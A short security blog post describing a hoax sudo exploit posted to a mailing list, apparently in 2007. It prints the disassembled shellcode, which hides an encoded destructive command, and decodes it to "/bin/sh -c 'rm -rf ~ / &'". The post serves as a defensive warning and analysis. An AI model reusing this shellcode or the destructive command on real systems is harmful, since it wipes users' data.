--= TECHUNIX RELOADED =--

Going through my huge backlog of security posting, I found a relatively interresting post on the full-disclosure mailing list.

You can find this posting at: http://seclists.org/fulldisclosure/2007/Aug/0071.html

Basically, the poster was advertising a new flaw in the sudo package, and offereing a piece of proof of concept code.
At first glance, it looked like any other day on full-disclosure...

Read more...  

Looking at the popularity of the sudo package, it is safe to bet that pretty much anybody in charge of a *Nix machine has it installed, and this "flaw" could impact everybody.

Luckily, there is an easy way to see if you (or any of your server(s)) are vulnerable. The author of the post gave you some code to run.

However, there is a catch. The code that was submitted may appear legit, but is actually doing much more than what it claims.

It turns out that this code will in effect crash itself in order to execute a specially crafted shellcode, which will in effect perform a '/usr/bin/sh -c rm -rf / ~ &' thereby deleting everything you have in your home folder and proceed to delete everything else on your hard drive. This is a fairly slow process, but it runs in the background, so chances are, you would not notice it until it was too late.

This POC was quickly found by Andrew Farmer, another reader / contributor of the full-disclosure mailing list. After performing some code analysis, he quickly sent an update to the list informing everybody of the hoax.

I am in the process of figuring exactly how he did it and I will provide a tutorial on shellcode reverse engineering in the near future. In the mean time, there is one lesson to be learnt,

DO NOT RANDOMLY COMPILE/RUN PROOF OF CONCEPT CODE FOUND ON THE INTERNET!
(or do so in a vmware environment with current snapshots). 

Here are the details, as explained to me by Andrew: 

Looking at the shellcode in compiled / binary format, you get the following:

   0x0000  EB3E              jmp 0x0040

   0x0002  5B                pop ebx

   0x0003  31C0              xor eax, eax

   0x0005  50                push eax

   0x0006  54                push esp

   0x0007  5A                pop edx

   0x0008  83EC64            sub esp, byte +100

   0x000B  68FFFFFFFF        push dword 0xffffffff

   0x0010  68DFD0DFD9        push dword 0xd9dfd0df

   0x0015  688D99DF81        push dword 0x81df998d

   0x001A  688D92DFD2        push dword 0xd2df928d

   0x001F  54                push esp

   0x0020  5E                pop esi

   0x0021  F716              not dword [esi+0]

   0x0023  F75604            not dword [esi+4]

   0x0026  F75608            not dword [esi+8]

   0x0029  F7560C            not dword [esi+12]

   0x002C  83C474            add esp, byte +116

   0x002F  56                push esi

   0x0030  8D7308            lea esi, [ebx+8]

   0x0033  56                push esi

   0x0034  53                push ebx

   0x0035  54                push esp

   0x0036  59                pop ecx

   0x0037  B00B              mov al, 11

   0x0039  CD80              int 0x80

   0x0040  E8BDFFFFFF        call 0x0002

   0x0045  2F62696E2F636800  .asciz '/bin/sh'

   0x004D  2D6300            .asciz '-c'

 The important piece here is hidden in the 'push dword' statements. However, it is encoded, presumably using the XOR technique. So if we XOR the hex data found in this snippet, we find: 

   0x2d206d72: 'rm -'

   0x7e206672: 'rf ~'

   0x26202f20: ' / &'

   0x00000000: terminator

Ergo: "/bin/sh -c 'rm -rf ~ / &'"

Another fun day in the world of security.